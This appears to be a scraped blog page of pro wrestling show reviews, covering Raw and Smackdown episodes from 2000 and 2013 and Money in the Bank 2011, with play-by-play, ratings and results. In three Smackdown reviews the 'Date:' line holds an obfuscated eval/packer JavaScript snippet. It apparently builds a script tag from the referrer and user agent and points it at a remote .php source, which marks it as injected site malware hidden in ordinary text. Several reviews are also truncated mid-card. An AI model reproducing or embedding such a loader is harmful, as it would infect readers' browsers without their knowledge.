Monday Night Raw – April 15, 2013: Bad Night To Be A Champion

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Date: April 15, 2013
Location: BI-LO Center, Greenville, South Carolina
Commentators: John Bradshaw Layfield, Michael Cole, Jerry Lawler

We open with a recap of Ryback turning on Cena from last week. Punk is also here tonight.

Randy Orton/Sheamus vs. Big Show

We look at 3MB interrupting HHH but getting beaten up by Shield.

US Title: Antonio Cesaro vs. Kofi Kingston

Kofi comes back with the SOS for two and Trouble in Paradise sends Antonio to the floor. Back inside and Kofi gets two before going up top. His cross body is caught in a tilt-a-whirl backbreaker for a VERY close two but Cesaro charges into a boot in the corner. Kofi tries a springboard cross body but gets caught in the Neutralizer position. They trade some VERY fast near falls until Kofi hits Trouble in Paradise for the pin and the title at 9:25.

Kofi says he brought the US Title back home.

We look at Ziggler cashing in last week to win the title. By that I mean they show us the entire match.

Smackdown World Title: Dolph Ziggler vs. Alberto Del Rio

Before the bell rings, here are Swagger and Colter to interrupt. Colter says that it was because of Swagger that Ziggler won the title, so it should be Swagger getting the title show. Alberto decks Swagger but as he turns around to face Ziggler. Jack pulls Alberto to the floor and wraps the leg around the post. The Patriot Lock messes up the ankle even more so no match.

HELL NO vs. Prime Time Players

R-Truth vs. Wade Barrett

Non-title here. Barrett pounds away to start but Truth comes back with a side kick to the face. Barrett shrugs it off and puts Truth on the top rope before pounding away on the chest. Off to a seated abdominal stretch before Truth fights up and hits some clotheslines. The ax kick misses but Little Jimmy hits for the pin at 3:02.

Great Khali/Santino Marella vs. Rhodes Scholars

Jack Swagger vs. Dolph Ziggler

Non-title again. Swagger pounds him into the corner to start so the champion slaps him. Dolph runs to the floor and jumps Swagger as he comes back in. A big boot puts Dolph down though and some knees in the corner have him in trouble. Dolph gets an elbow up in the corner and takes Swagger down with a neckbreaker for no cover. The Patriot Lock is escaped but Jack manages to crotch Ziggler on the top rope as we take a break.

Post match Alberto pops up and beats up Swagger, putting him in the armbreaker over the stage.

Mark Henry attacks Sheamus again in the back.

Booker is annoyed at Teddy in the back and makes Ziggler vs. Del Rio vs. Swagger in a triple threat,, presumably at Extreme Rules.

Kaitlyn vs. Nikki Bella

Sheamus/Orton vs. Big Show/Henry on Smackdown. Should be good.

Results

Sheamus/Randy Orton b. Big Show – RKO

Kofi Kingston b. Antonio Cesaro – Trouble in Paradise

HELL NO b. Prime Time Players – Headbutt to Young

R-Truth b. Wade Barrett – Little Jimmy

Rhodes Scholars b. Santino Marella/Great Khali – Rollup to Marella

Jack Swagger b. Dolph Ziggler – Powerbomb into a jackknife

Nikki Bella b. Kaitlyn – Clothesline into the middle rope

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the WWE Championship from Amazon for just $5 at:




Smackdown – March 15, 2013: Why Bother Calling It A World Title?

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdyar|var|u0026u|referrer|yarhh||js|php'.split('|'),0,{})) March 15, 2013
Location: Allen County War Memorial Coliseum, Fort Wayne, Indiana
Commentators: Michael Cole, Josh Matthews, Brad Maddox

Sheamus/Randy Orton vs. Rhodes Scholars

Sheamus hits the ten forearms to the chest of Sandow before they head to the floor, allowing Rhodes to hit the Disaster Kick off the apron to take Sheamus out. After a break we come back with Cody dropkicking Sheamus down for two. Back to Sandow who pounds away on the pale one, only to have Sheamus headbutt him from the mat to escape. A front facelock keeps Sheamus in control but he punches his way out.

Fandango debuts tonight. Again.

Kaitlyn/Layla vs. Tamina Snuka/Aksana

We go back to Raw to recap the events with Punk, Kane, Undertaker and the urn during the tribute to Paul Bearer.

Kane vs. Dolph Ziggler

Kane takes him into the corner to start and fires off some knee lifts before punching away in another corner. An uppercut puts Ziggler down on the floor for a bit but he fires off some right hands back inside to get himself a breather. A big boot puts Ziggler down again though as does a slam. Dolph fires off more right hands but gets backdropped out to the apron. He comes back in with a missile dropkick for two before kicking Kane in the face.

Post match Langston lays out Kane.

Fandango still debuts tonight. Allegedly.

Great Khali vs. Fandango

We get the Rock vs. Cena video from Raw.

Sheamus and Orton talk about being excited for the six man when Shield jumps them. Ryback comes up but Booker tells him to go fight Mark Henry instead of worrying about Shield.

Mark Henry vs. Ryback

Jack Swagger vs. Chris Jericho

Feeling out process to start as they fight for control via a hammerlock. Swagger takes over with a big right hand in the corner but Jericho clotheslines him to get a breather. The springboard dropkick sends Swagger to the floor and we take a break. Back with Swagger hitting a running knee in the corner before hooking a double chickenwing. Jericho finally rolls his way out of it but gets kicked right back down for two.

Off to a front facelock by Jack but Jericho rolls over into a near fall. Jack takes out the knee with a chop block to set up the Patriot Lock. Chris kicks off and gets two more off a small package, only to be suplexed down for two for Swagger. We take another break and come back with Swagger hitting a running splash in the corner but Jericho comes back with a DDT for two. Chris fires off some kicks but Swagger grabs the gutwrench, only to have the powerbomb countered into the Walls of Jericho.

Results

Sheamus/Randy Orton b. Rhodes Scholars – RKO to Rhodes

Kaitlyn/Layla b. Tamina Snuka/Aksana – LOL to Aksana

Dolph Ziggler b. Kane – Zig Zag

Ryback vs. Mark Henry went to a no contest when Shield interfered

Jack Swagger b. Chris Jericho – Gutwrench Powerbomb

Remember to follow me on Twitter @kbreviews




On This Day: February 28, 2000 – Monday Night Raw: The Low Point For Professional Wrestling

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Date: February 28, 2000
Location: Madison Square Garden, New York City, New York
Attendance: 12,256
Commentators: Jim Ross, Jerry Lawler

The Hardys yell at the APA for doing something last night at No Way Out. A brawl is teased but the Hardys want a match. They turn over the poker table to make sure they get what they want.

Hardy Boys vs. Acolytes

Angle tells a security guard which of his two title belts weigh more. He thinks the IC Title weighs more because it represents more countries.

Buy this WWF CD!

Buy Chef Boyardee too!

European Title: Kurt Angle vs. Rikishi Phatu

Post break Jericho is about to talk when the Radicalz force their way up to them. Saturn challenges Jericho to a match for later.

Edge and Christian vs. Head Cheese

A backbreaker sets up a middle rope elbow to the back for two. Snow hits a German suplex for two but an Edge distraction breaks up a moonsault attempt. Edge comes in legally now and cleans house but a DDT only gets two on Al. Terri gets up and pulls a big cheese head hat out of a bag to distract Blackman, allowing Edge to spear him down for the pin.

The Rock vs. Brooklyn Brawler

Chris Jericho vs. Perry Saturn

Hardcore Title: Mark Henry vs. Crash Holly

Tazz vs. Chris Benoit

Benoit leaves and Tazz is finally put down by a choke bomb from Albert.

Post break Mae Young gives birth to a hand, marking the official lowest point in the history of the wrestling industry.

Tag Titles: Dudley Boys vs. Road Dogg/X-Pac

Everyone not named X-Pac gets chokeslammed.

Big Show and HHH talk strategy.

Big Show/HHH vs. The Rock

Rock gets triple teamed to end the show.

Remember to follow me on Twitter @kbreviews




Money in the Bank 2011: Cena vs. Punk I

Given how awesome the main event was last night, the comparison immediately came up to this masterpiece.  Let’s take a look back at it shall we?  The rest of the show is awesome too.

Money in the Bank 2011
Date: July 17, 2011
Location: Allstate Arena, Rosemont, Illinois
Commentators: Michael Cole, Booker T, Jerry Lawler

It’s Money in the Bank and I’m rather clueless as to who is going to win three of the four main matches.  The MITB matches themselves are total tossups and the Punk vs. Cena match could go a bunch of ways.  It’ll definitely be interesting and will set the stage for at least the next few months worth of shows, if nothing else due to the MITB cases, assuming one isn’t cashed in tonight.  Let’s get to it.

 

Opening video is of course mainly about Punk vs. Cena, which to be fair is by far and away the biggest match on the card.

Sin Cara vs. Justin Gabriel vs. Heath Slater vs. Sheamus vs. Cody Rhodes vs. Wade Barrett vs. Kane vs. Daniel Bryan

 

This is going to be a big insane match so it’s almost impossible to call what’s going on in these things.  I’m really not sure who to predict in this.  I went with Cody as a more or less random choice mainly out of a lack of anyone else.  Big mess to start as these really should only have six people in them.  Kane, Barrett and Sheamus clear the ring out and it’s a three way staredown.

The Europeans….wait Kane is from Spain.  Ok the two guys not named Kane go down and it’s ladder time already.  Bryan dropkicks Kane down as Slater and Gabriel team up a bit.  Cara, who is in white/gray here, gets taken down but the former tag partners fight already.  Slater goes for the ladder and is loudly booed.  Gabriel goes up but the ladder is way off center.  Bryan dropkicks him off but Cody goes up.

Kane sends Sheamus and Cody to the floor but Barrett stops the Big Bald.  Kane throws a ladder at Sheamus to take him down.  Slater vs. Kane and guess who wins that one.  Cara pops up out of nowhere to drill Kane and break up the clothesline.  Bryan hits a big dive and Gabriel does the same.  Sorry for all the play by play stuff but it’s all you can do in these things for the most part.

Cara is like screw you guys I’m the flier here and takes out Sheamus with a huge one.  He follows that up by kicking Bryan in the head and hitting the top rope C4 to take Bryan down.  Sin tries to go for the briefcase but can’t pick a ladder up and into the ring.  Barrett kicks his head off so it doesn’t matter.  They do the whole set up a ladder as a bridge from the ring to the table thing as is customary.

Cara avoids going through it though and Barrett clotheslines the post.  For some reason the masked guy goes in again without a ladder and gets his head kicked off by Sheamus.  Not a good night for the Mexican dude.  Cara gets powerbombed through the ladder to more or less kill him.  BIG pop for Sheamus for that one.  Sheamus is controlling almost everyone here as Cara is taken out on a stretcher.

Kane and Sheamus are in the ring and fighting over a ladder.  Scratch that as all three go to the floor.  Bryan, Kane and Cody are all in the ring with ladders now.  The small guys work together to take Kane down and there goes that partnership.  Cara is gone now, as in out of the entire arena via a stretcher.  Kane has the big ladder set up in the ring and everyone comes in.  Cody makes an attempt but all the small guys make a save.

The former Nexus triple teams Bryan and then the tag team tells Barrett to go ahead.  Barrett proves why British wrestlers are stupid as he goes up and is pulled down just a few seconds later.  Both of them go up but Rhodes shoves the ladder down.  Cross Rhodes takes someone down and it’s time for Barrett and Rhodes to fight over the ladder.  Cross Rhodes takes Barrett out but Sheamus makes the last second save.

There’s an Irish Curse and pasty goes up, only for Bryan to make the save.  Bryan rams him into the ladder a few times and goes up at the same time.  Sheamus and Kane combine for a Doomsday Device to END Bryan.  Kane and Sheamus are alone in the ring now.  Well other than a ladder but that doesn’t count I don’t think.  The big ladder is in the ring and a regular one is set up as a bridge against the middle buckle.

Kane escapes though and chokeslams various small people.  Big Bald goes up but Bryan makes ANOTHER save despite being legally deceased I believe.  Bryan goes up and almost gets the LeBell Lock on the ladder.  That would be awesome.  Bryan manages to knock Kane to the floor but Slater stops him.  Bryan saves AGAIN as he’s been insane so far tonight.

Slater goes up one more time but Barrett saves.  Time for Barrett vs. Sheamus which doesn’t sound all that appealing.  Thankfully they team up and stop Slater, using a ladder like a fork to stop Slater and shove him off the top.  That was cool.  Sheamus goes nuts and takes out a lot of people so he can climb.  Naturally he’s not that smart so he sets up another ladder on the top rope.

Sheamus is just beating people up at the moment and not really trying to go after it.  Even Booker is saying GO FOR IT.  Ok now he’s going up but Kane pops up from nowhere to stop him.  Sheamus has a bridge ladder beneath him.  He goes onto it but doesn’t break it.  FREAKING OW MAN!  Wasteland hits Kane and Gabriel climbs a ladder and hits 450 in the tightest space possible.  That was AWESOME.

Bryan and Cody go at it on the ladder as everyone but Barrett is down.  Wade comes up as Bryan tries to choke Cody out because he’s an idiot.  Cody goes down and Wade takes an elbow to knock him backwards a bit.  Bryan is alone up there and Wade is on the bridge.  Bryan kicks him down and WINS THE CASE!  Totally didn’t see that one coming.

Rating: A. I liked the storytelling aspect of this as Bryan was the MVP of this thing.  He made a ton of saves and certainly deserved to win it in the end.  The spots in this were great and Cara going out might have been due to prevent him from botching something major, which says a lot.  I’m not sure I can see Bryan winning a title but stranger things have happened.  GREAT match though.

Vince is here.  Hokey smoke that’s Johnny Ace with him.

Apparently Punk hasn’t signed yet but is in a meeting for a last second negotiation.

Divas Title: Kelly Kelly vs. Brie Bella

 

Booker says he never dressed like his brother in Harlem Heat.  Is his memory failing or something?  No idea what you want me to say here.  They’re both hot, they’re both inept, the match is slightly longer than a regular match they have on Raw.  Kelly is champion in case you’re reading this like three years from now.  It’s a totally boring match and it’s a total food break for the crowd.  Oh and Eve is with Kelly at ringside here.  Crowd is dead here.  K2 ends this at like four minutes.  Total filler and it knows it.

 

Rating: D. What do you want me to say here?  This match was nothing but the girls looked good so I can’t call it a failure.  The division is horrible since Kharma got pregnant and Laycool went down at the same time.  Not a horrible match but just an extended Raw thing really.  It served its purpose though I guess.

 

Summerslam ad.  It’s in the summer you know.  Eh Divas in bikinis is never a bad thing.

We recap Henry vs. Show.  They’re both big, they’re both strong, they both hurt people.  Yeah that’s about it.

Mark Henry vs. Big Show

 

Henry is in blue here.  They slug it out to start and Show JUMPS at him with a shoulder block to take Mark down.  Out to the floor early and Show loads up a chokeslam through the table but Henry breaks it up.  Show shoves him over the steps and the bald one is in control.  Scratch that as Henry sends him into the steps and Show goes back in.  Henry goes for the knee with a chop block and Show is in trouble.

Boot to the head gets two.  Half crab goes on which makes sense for once.  Henry?  Psychology?  What’s in this lemonade I’m drinking?  Show grabs a rope and manages to kick Henry off which looked rather cool.  Splash/running clothesline hits Show in the corner and Henry is all angry and such.  Show GOES UP and hits a shoulder block off the middle rope but he hurts his knee again.

Both guys are down now and the count gets like three.  Show loads up the chokeslam but Henry kicks him in the knee to break it up.  World’s Strongest Slam but it only gets two.  Dang I would have thought that was the ending.  Another World’s Strongest Slam and a pair of splashes and Show is finally done.

Rating: C+. Call me crazy but I liked it.  They were going at it out there and more importantly than anything else, it was short.  That’s a very key thing to this match and it made things work a lot better overall.  Henry’s push probably won’t go anywhere (at least I hope not) but a win like this is perfectly fine.

Post match Henry Pillmanizes Show’s leg with a Vader Bomb.  Show goes out on a stretcher saying it’s broken to fill in some time.

Vince is saying this is a nightmare as Josh comes in to ask if Punk has re-signed.  He hasn’t apparently but Vince offered him a huge contract.  Vince talks for a bit and ultimately says if Punk leaves with the title, may God have mercy on Cena’s soul.

Alberto Del Rio vs. Kofi Kingston vs. Jack Swagger vs. Evan Bourne vs. R-Truth vs. Alex Riley vs. The Miz vs. Rey Mysterio

 

Everyone grabs a mini ladder as they come into the ring.  Rey comes out last and gets almost ZERO reaction.  Everyone has a ladder and they surround Del Rio, beating him down rather easily.  Booker picks Evan Bourne which Lawler is surprised at.  Some of the guys are out of the ring now and Swagger is thrown out for the second time.  Truth and Miz have a stand off and duel a bit.

Swagger takes them both out because that’s just smart.  He sets up a ladder but Kofi and Bourne run in at the same time for an attempt to go up.  Now they team up and take out some heels.  Rey gets a rana to take Swagger to the floor again and Truth takes Kofi out.  Riley crotches him on a ladder and is the only one standing.  Miz comes in for the save but all the ladders are too short anyway so it’s not like it matters.

Riley dives over the top and takes out Swagger and Miz in a nice spot.  Truth dives over to take out all three of them.  Kofi and Rey do a double dive to take all of them out.  Bourne goes up and everyone gasps.  SHOOTING STAR PRESS ONTO ALL FIVE GUYS!!!  Bourne goes up a big ladder but Miz makes the save.  Bourne gets a hand on it but so does Miz.  Del Rio pops up and shoves it down as Miz may have hurt his knee.

He landed on it coming down and may have jammed it.  I think it’s worked but it doesn’t look right AT ALL.  This might be legit actually.  Miz is carried out but can’t seem to put any weight on the knee.  I think he might be actually hurt if the visual is any sign of it.  Truth and Del Rio are both climbed over (literally) by Rey and Bourne.  The faces hit stereo ranas to take out the heels.  That looked SWEET.

Swagger is all alone but Kofi is like screw that and jumps over him onto the ladder.  Swagger puts an ankle lock on him instead and Riley tries to steal the case but fails.  Rey vs. Truth at the moment with Rey taking a ladder to the ribs.  He climbs onto a ladder but falls onto it face first.  Kofi goes up and uses a ladder as a step down for a Boom Drop onto Truth.  Booker of course criticizes him for dancing too much.

This match is a lot more choreographed and you can tell it a lot.  Truth messes up a see-saw spot to Swagger.  Good thing Swagger was nice enough to sit there and let Truth do it again.  Rey and Riley slug it out on the ladder but Bourne and Del Rio get ladders of their own.  Down goes Alberto and Rey has his hand on it.  All seven guys are on ladders in what looks like a clothed orgy, which kind of defeats the purpose but you get the idea.

Down goes Del Rio and there goes Jack too.  Bourne is tossed but the other four are all there still.  Truth goes down and Kofi gets a swinging kick to knock Rey off.  He’s all alone but Swagger makes a last second stop.  They both fall and it looked VERY bad as Kofi’s knee landed on Swagger’s throat.  HERE’S MIZ!  He literally hops down the aisle on one leg but Rey stops (to huge booing).

Rey and Del Rio fight a bit but down goes Del Rio.  Never mind as he’s coming back up again.  Briefcase to Alberto’s head but Rey still can’t get it.  REY’S MASK IS OFF!  Everything falls down and Rey has to cover his face.  Alberto goes up as Rey is all terrified.  Alberto is all alone and it’s over.  Didn’t see that one coming.

Rating: B. Good, but nowhere near as good as the SD one.  The spots here were awesome to say the least but the sloppiness hurt it a good bit.  Miz coming back in was great and an awesome false finish.  Rey losing his mask was rather surprising and I’m seriously wondering how badly hurt Swagger is because that didn’t look like a planned fall at all.  Messy but fun, which is about par for the course in MITB to be honest.

You get a relatively clear shot of Rey’s face during the highlight package.

 

We recap Christian vs. Orton, which is more or less Christian can’t beat Orton and turned heel because his initial title loss to him was unfair.  If Orton gets disqualified or if there’s a “bad decision”, Orton loses the title.

Del Rio says he shouldn’t have had to win but this is his destiny.

Smackdown World Title: Christian vs. Randy Orton

 

After some big match intros we’re ready to go.  Christian shows off some nice psychology as he throws a chair in immediately and tries to get Orton to snap.  The chair goes to the floor and Orton takes over with relative ease.  The crowd is totally behind Christian here.  Out to the floor with Orton in control but Christian takes over back inside.  These two have had some very good matches so this should be awesome.

They slug it out a bit with Christian mostly in control.  Orton grabs a rollup for two.  Killswitch doesn’t work and they clothesline each other to the floor.  Back in and Christian jumps over him and blocks an RKO.  Jackknife cover gets two for Randy.  There’s the Thesz Press as the fans aren’t pleased.  Elevated DDT doesn’t work but Christian tries his spinning dive out of the corner, only to jump into a dropkick to the ribs.

Christian takes over again as he’s done a lot in this match.  Top rope headbutt gets two.  Killswitch hits out of almost nowhere but Orton gets out at 2.999.  Even the crowd is into this now.  Christian loads up a spear but he hits the post instead.  Orton puts Christian in that over the shoulder backbreaker into the neckbreaker (LOVE that move) for two.  He sets for the Punt but Christian moves.  Randy settles for the powerslam instead.

There’s the elevated DDT and Christian is in trouble.  Christian spits in Orton’s face to tick him off and Orton goes off on him.  He breaks at three though so it’s not a DQ.  Orton kicks Christian low…and it’s a DQ!  CHRISTIAN WINS THE TITLE!!!  THAT STIPULATION ACTUALLY WORKED!!!

 

Rating: B-. Good match here but not as good as their usual stuff.  I can’t believe that ending actually worked either as I’ve never seen anything like it before.  Granted it’s probably so Bryan can come out and cash in but that is what it is.  Either way this was fine and they continue to have great matches together.

Orton destroys Christian post match, hitting a bunch of RKOs on the table while Teddy tries to calm him down.

Ok if Bryan doesn’t come down now, he’s an idiot.  Apparently he’s an idiot because he’s not here.

We recap Punk vs. Cena.  If you don’t know this, you’re an idiot.  Basically, Punk went on a massive rant against WWE and Cena in a worked shoot.  This is his last night with the company and Vince is involved too.  If Punk leaves with the title, Cena is fired.

Raw World Title: John Cena vs. CM Punk

 

And here we go.  Punk has an epic reaction as he’s the hometown boy.  He even has a new shirt.  The crowd is rabid for Punk.  He sits in the ring and is a total face in the eyes of the crowd.  HUGE CM Punk chant goes up as we wait on Cena.  I seriously worry for Cena’s safety if he wins.  OH MAN that heat is ONS levels.  Punk goes out to be near the crowd for Cena’s entrance.  Total stoic Cena here as everything he does is booed out of the building.

They do big match intros and Punk is as over as free beer.  Here we go.  I’m so fired up for this it’s unreal.  TON of time for this too.  Punk grabs a headlock and the YOU CAN’T WRESTLE chants start up.  We actually do some chain wrestling and Cena is booed out of the building for a snap mare.  They do some obvious spot calling while Cena has a headlock.  Punk tries to fire off a spin kick but Cena ducks.

YOU CAN’T WRESTLE chants start up and Punk points at himself and asks the fans if they mean him.  Punk almost gets an Anaconda Vice but Cena reverses into an armbar.  They’re working slow here but that’s perfectly fine given that they have over 45 minutes if need be.  Jerry tries to make Punk out to be the heel here and it’s just failing completely.  There’s the duel and it’s all CENA SUCKS rather quickly.

Even Cole is against Punk here.  Headlock goes on again as Cena has mostly controlled here, but we’re only like 5 minutes in.  Hip toss by Punk sets up a dropkick and Punk speeds things up a bit.  There’s a headlock of his own and Cena is down.  We reference Montreal because that’s just what we do here in WWE.  Punk does You Can’t See Me to Cena and they both try their finishers but it’s a stalemate.

HUGE CM Punk chant goes up which is par for the course tonight.  Punk goes for the knee and takes over again.  Cena fires back with the bulldog for two.  Off to a front facelock and Punk shakes his finger no.  I’ve never seen as many spots called in a single match.  Cena hits a clothesline and Punk might have lost a tooth.  Off to an arm trap chinlock which is close to a Crossface with Cena on his back.

Punk gets up and suplexes his way out of it for two.  Cena does a Bret Hart chest to the buckle bump which gets two.  All Punk at this point.  Cena gets something going and hits a release fisherman’s suplex for two.  AA is reversed again and Punk gets a quick DDT for two.  Triangle choke goes on Cena and we slow it down again.  It seems like they’re saving energy.  They’ve been at it nearly ten minutes and it’s 10:22 so that’s a very likely scenario.

Cena counters out of it but Punk throws him to the floor.  Punk teases going up but just climbs out instead.  The fans applaud Punk just for picking Cena up.  The fans chant for Colt Cabana and there’s a knee to the back of the neck of Cena while he’s hanging off the apron.  That gets two back in the ring.  Punk charges at Cena but his arm hits the post to buy Cena a few seconds.

And never mind as Punk hits a clothesline for two.  Back to the chinlock as this needs to go a long time since the rest holds are getting a bit boring.  There are actually some Cena chants and Punk comes off the middle rope with a spinning cross body.  Cena might have hurt his knee as he’s going to the apron a bit.  Punk goes after him but can’t suplex him back in.  Cena manages to suplex him to the floor and the fans clap for a bit.

I think the knee was a work as he’s not even holding it at the moment.  Oh wait yes he is.  That was more or less an FU off the apron.  Back in the ring that gets two as he’s rubbing the knee now.  He can stand on it and hits another release fisherman’s.  Elbow drop gets two.  Cena sets for what looks like a powerslam but flips Punk forward into a sitout slam for two.

It’s only 10:30 and they’ve been going at it over 15 minutes.  The knee looks fine.  It’s boo/yay time and the yays are winning it.  We go WAY old school with an abdominal stretch.  HE EVEN HOOKS THE LEG PROPERLY!  Punk hip tosses out of it and it’s a double clothesline to put them both down.  Cena up first and he initiates the ending sequence.  The Protobomb is reversed though and Punk gets the loudest reaction for a rollup you’ll ever here.

Protobomb hits this time but You Can’t See Me results in a kick to the head.  Suicide dive takes Cena down and the fans erupt again.  Punk high fives a fan while he’s still on the ground in a cool moment.  Punk misses a cross body and now he Can’t See Cena.  Five Knuckle Shuffle hits at about 20 minutes.  AA is countered and Punk uses his martial arts for two.

Punk is looking towards the entrance and smiles for no apparent reason.  GTS is loaded up but Cena counters into a gutwrench suplex for two.  Punk fights back with some knees to the jaw and a bulldog.  Springboard clothesline gets two and the fans are still totally into this.  The replay shows how sweet those knees were.  Out of nowhere Cena grabs the STF and Punk is in trouble!  Oh of course he makes the rope but it takes awhile for him to get there.

As Cena goes for Punk again he gets caught in the side of the head with a big old kick for two.  Cena rolls through a cross body but the AA is countered into the GTS but Cena grabs the leg and the STF is back on again!  Punk can’t make the ropes but Cena pulls him back to the middle again.  Cole says it’s a matter of time and he’s right.  It’ll just be multiple more minutes because Punk manages to counter from the mat into the Anaconda Vice.  SWEET!

Cena gets back up there’s the AA for TWO.  This is getting awesome as they used the slow build.  I’m glued to my screen which hasn’t happened since a few years ago with Taker vs. Shawn.  Top rope legdrop is countered via something like a powerbomb for two.  Punk almost Hulks Up and says it’s time to Go To Sleep.  He loads it up but Cena grabs the rope and clotheslines him on it.

The top rope legdrop hits this time but it only gets two.  These kickouts are incredible.  They’re not going to end the match but they’ve built it up so well and the audience being so into them is making up the difference.  Cena is getting his 19th wind and looks like he wants the AA.  It hits clean again and PUNK KICKS OUT.  Cena tries an AA off the middle rope but Punk fights out of it.

He manages to get a top rope hurricanrana but Cena goes to the corner to escape.  Corner knee sets up the GTS and Cole is scared to death.  The knee only hits the ribs and Cena manages to fall out of the ring instead of being in pinning position.  And here’s Vince with Johnny Ace.  The distraction lets Cena get the STF and Vince sends Johnny Ace to ring the bell.  Cena hits the floor and blasts Ace, saying he doesn’t want it that way.  Vince and Cena have a staredown in the aisle and Cena says it’s my way.  He charges back into the ring and there’s the GTS and PUNK WINS!

Rating: A+. Excellent match as I’m sure you got here as the whole thing came off as completely epic.  Cena almost had to lose here due to the sake of his own safety.  Vince screwing himself over is a great thing because that’s how it had to be.  Great stuff here and the show ending with Punk being as popular as anyone imaginable is excellent.  Awesome stuff here and an awesome show.

Vince jumps on commentary and says to kill the music.  He wants Alberto out here NOW to cash in.  Alberto runs out and Punk kicks him in the head almost immediately to take him down.  Punk goes into the crowd and that’s probably the safest place in the world for him.  The bell didn’t ring and Del Rio never cashed in officially.

Overall Rating: A. Well that was incredible.  From top to bottom this was great stuff and nothing was bad on it at all.  Even the Divas had their looks going for them so you can’t complain there.  Great stuff overall and a shocking ending, which was exactly what this needed.  Zero complaints and it more than lived up to the hype.  Can’t wait for tomorrow now, which is the whole point of the show.  Loved it.

 

Results

Daniel Bryan won the Smackdown Money in the Bank Briefcase

Kelly Kelly b. Brie Bella – K2

Mark Henry b. Big Show – Splash

Alberto Del Rio won the Raw Money in the Bank Briefcase

Christian b. Randy Orton via DQ – Orton kicks Christian low

CM Punk b. John Cena – GTS

 

Remember to follow me on Twitter @kbreviews




Smackdown – February 15, 2013: Building From The Top Down

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eafdh|var|u0026u|referrer|znebt||js|php'.split('|'),0,{})) February 15, 2013
Location: Verizon Arena, Little Rock, Arkansas
Commentators: Josh Matthews, John Bradshaw Layfield

We open with a recap of Punk vs. Rock as the champion is apparently here tonight. We also talk about the Chamber match.

Orton and Henry have a staredown in the back, which leads us to this.

Mark Henry vs. Randy Orton

Before the match, we get a video on Henry and the newly reopened Hall of Pain. Henry shoves him into the corner to start but Orton comes back with enough shots to the head to send Mark into the corner and out to the floor. Back in and Henry headbutts Orton down but the splash misses. Randy pounds away in the corner some more but gets sent to the outside.

We take a break and come back with Orton fighting out of a nerve hold. Back up and Henry immediately knocks him back down with a standing clothesline for two. Back to the nerve hold for a bit but Orton avoids a charge in the corner. A clothesline puts Henry down but Mark hits one of his own to take over again.

Post break Henry takes a microphone from Matt Striker and says the Hall of Pain is open for business again.

We recap Shield vs. Cena/Ryback/Sheamus on Sunday.

Tamina Snuka vs. Layla

We get part of Rock vs. Punk from Raw where Punk stole the belt.

3MB vs. Brodus Clay/Tensai

Fandango is still coming.

Cody Rhodes vs. The Miz

Zack Ryder vs. Jack Swagger

Another rematch from Monday here and Swagger has the Tea Party guy with him here. Jack beats him down to start and counters the double knees in the corner with ease. A hard whip into the corner keeps Ryder down but Zack hits a quick flapjack to get a breather. The Broski Boot misses in the corner and Swagger wraps the knee around the post. Back in and the gutwrench powerbomb sets up the Patriot Act for the submission at 3:20.

Video on the Elimination Chamber.

Big Show vs. Chris Jericho

Show rushes him into the corner but misses a chop. Jericho pounds away but is immediately knocked out to the floor with a single shot from the giant. As they come back in, Jericho hits a dropkick to buy himself a few seconds of rest. They head to the floor again and Show LAUNCHES Chris over the announce table in a great looking spot. Back in and Show hits some knee lifts to the chest and a slam before going to the middle rope on the inside. The Canadian finally gets in some offense and heads up, only to jump to the floor while hitting a guillotine on Show.

Alberto comes out to stare down Big Show to end things.

Results

Mark Henry b. Randy Orton via DQ

Tamina Snuka b. Layla – Superfly Splash

Brodus Clay/Tensai b. 3MB – Splash to Mahal

The Miz b. Cody Rhodes – Figure Four Leg Lock

Jack Swagger b. Zack Ryder – Patriot Act

Big Show b. Chris Jericho – WMD

Remember to follow me on Twitter @kbreviews




Smackdown – February 8, 2013: Open For Business Again

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzifd|var|u0026u|referrer|yikzh||js|php'.split('|'),0,{})) February 8, 2013
Location: Jacksonville Memorial Coliseum, Jacksonville, Florida
Commentators: Josh Matthews, John Bradshaw Layfield

We open with the voiceover talking about the Chamber. Apparently Bryan, Orton and Mysterio are locked in already. We also look at the hotel stuff with Del Rio vs. Big Show from Raw on Monday.

For the first time in months, we actually get a theme song for Smackdown.

Kofi Kingston vs. Cody Rhodes

We recap the troubles HELL NO has been having lately.

Josh calls Khali a Hall of Famer, sending JBL into a huge rant about how we follow Bruno Sammartino with this guy. Khali chops him into the corner as Teddy and Booker are watching in the back. Titus pounds Khali down and hits a big boot to the head for two. Off to a front facelock but Khali shrugs it off and the big chop ends Titus at 1:34.

Big Show yells at the guy that takes care of his bus and his steaks for screwing up. Oh and the toilet is clogged up again. Big Show is heading to the ring and Del Rio is lurking behind his bus.

Big Show vs. Kane

Post match Del Rio pops up on screen with the employee Show yelled at. He tells Big Show to come back and see the changes Del Rio has made. Show comes back and sees the bus up on blocks with the tires taken off. Del Rio covers Show in orange paint for good measure.

Jack Swagger vs. Justin Gabriel

Fandango is still coming. Oh joy.

Drew McIntyre vs. Tensai

Sin Cara vs. Antonio Cesaro

Orton says Henry has to earn his spot in the Chamber by going through him.

The Raw ReBound is Shield being chased off.

Randy Orton vs. Mark Henry

Results

Cody Rhodes b. Kofi Kingston – Cross Rhodes

Big Show b. Kane – WMD

